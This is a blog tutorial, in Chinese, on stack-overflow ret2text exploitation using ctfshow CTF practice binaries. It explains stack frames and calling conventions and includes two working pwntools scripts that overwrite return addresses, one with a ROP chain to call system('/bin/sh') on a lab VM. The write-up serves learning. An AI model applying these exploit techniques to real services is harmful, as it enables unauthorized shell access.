栈溢出——ret2text(一)

目录

1. 漏洞原理

2.1. ret2text

2.1.1. 32位程序案例

2.1.2. 64位程序案例

3. 引用参考


1. 漏洞原理

        栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作,如下图所示(维基百科)。两种操作都操作栈顶,当然,它也有栈底。

高级语言在运行时都会被转换为汇编程序,在汇编程序运行过程中,充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间,其中某一部分就是该程序对应的栈,用于保存函数调用信息和局部变量。此外,常见的操作也是压栈与出栈。需要注意的是,程序的栈是从进程地址空间的高地址向低地址增长的

大家可以看看我写的函数调用栈的相关文章,帮助大家理解。

需要注意的是,32 位和 64 位程序有以下简单的区别:

  • x86    
    • 函数参数函数返回地址的上方。
  • x64
    • System V AMD64 ABI (Linux、FreeBSD、macOS 等采用) 中前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
    • 内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。

2.1. ret2text

2.1.1. 32位程序案例

        该漏洞类型为篡改栈帧上的返回地址为程序中已有的函数。我有一篇很早的文章,大家可以看看:栈溢出修改返回地址,得到隐藏代码的方法_栈溢出隐藏call-CSDN博客。为了帮助大家理解。这里也选择不同的调试类型为大家讲解。

这里我用ctfshow的一个靶场作为相关例子,下载相关附件后,放置在我们的虚拟机并挂载至10001端口

查看相关保护:checksec ret2text

可以看到,此程序为32位系统,没有canary保护,也就是说我们溢出时,不需要注意在栈上的保护,可以随意进行溢出。这里我们利用ida分析一下源代码。

可以看到main函数的运行结构,首先是调用logo函数,然后再调用ctfshow函数。

我们进入ctfshow函数,看看是什么。

首先声明了一个名为 buf 的大小为14字节的字符数组,它距离ebp的距离为0x12,这里通过read函数

buf能读入0x32字节 ,转换为10进制就是50个字节的数据,因此这里很明显就存在栈溢出了。这里可以判断存在栈溢出漏洞了。

紧接着我们又在左边的函数图里,看到了一个backdoor函数,这个函数存在bash代码,调用这个函数即可获取相关系统权限。

这里我们就开始构造相关poc了,我们使用python文件来进行演示。

from pwn import *  #引用相关库
io = remote('192.168.79.131',10001) #设置远程地址
backdoor = 0x08048521 #后门函数的地址
payload = b"A"*(0x12 + 4) + p32(backdoor)
#payload = cyclic(0x12+4) + p32(backdoor)
#偏移地址,这里距离ebp的距离为12,+4是覆盖ebp的值,P32(backdoor)是后门函数的地址,让其小端序存储
io.sendline(payload) #发送相关恶意代码
io.interactive()

运行后,可以看到,已经获取了相关权限

2.1.2. 64位程序案例

        对于 64 位汇编,当参数少于等于 6 个时,参数从左到右依次放入寄存器:rdi、rsi、rdx、rcx、r8、r9。当参数为 7 个以上时,前 6 个参数仍然按照上述规则放入寄存器,但是第 7 个及以后的参数从右向左依次放入栈中。也就是说要先把六个寄存器放满了才会考虑放入栈。

        有时候,程序里面既没有现成的 system 函数,也没有 /bin/sh 字符串,也没有提供 libc.so 给我们,那么我们要做的就是想办法泄露 libc 地址,拿到 system 函数和 /bin/sh 字符串,我们就需要获取 rdi, rsi, rdx, rcx, r8, r9 它们的地址,首先要获取的是 rdi 的地址。

from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
io = remote('192.168.79.128',10001)
#elf = ELF('C:\\Users\\27389\\Downloads\\pwn')
#system = elf.sym['system']
system = 0x400520
bin_sh = 0x400808
pop_rdi = 0x4007e3 # 0x00000000004007e3 : pop rdi ; ret
ret = 0x4004fe
payload = b'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()

服务端远程开启,将程序挂载至10001端口。

攻击机运行poc文件,获取服务权限。

3. 引用参考

栈介绍 - CTF Wiki

https://xz.aliyun.com/news/12744

CTFshow-PWN-栈溢出(pwn40)_ctfshow pwn40-CSDN博客

https://zhuanlan.zhihu.com/p/611961995

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B10SS0MS

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值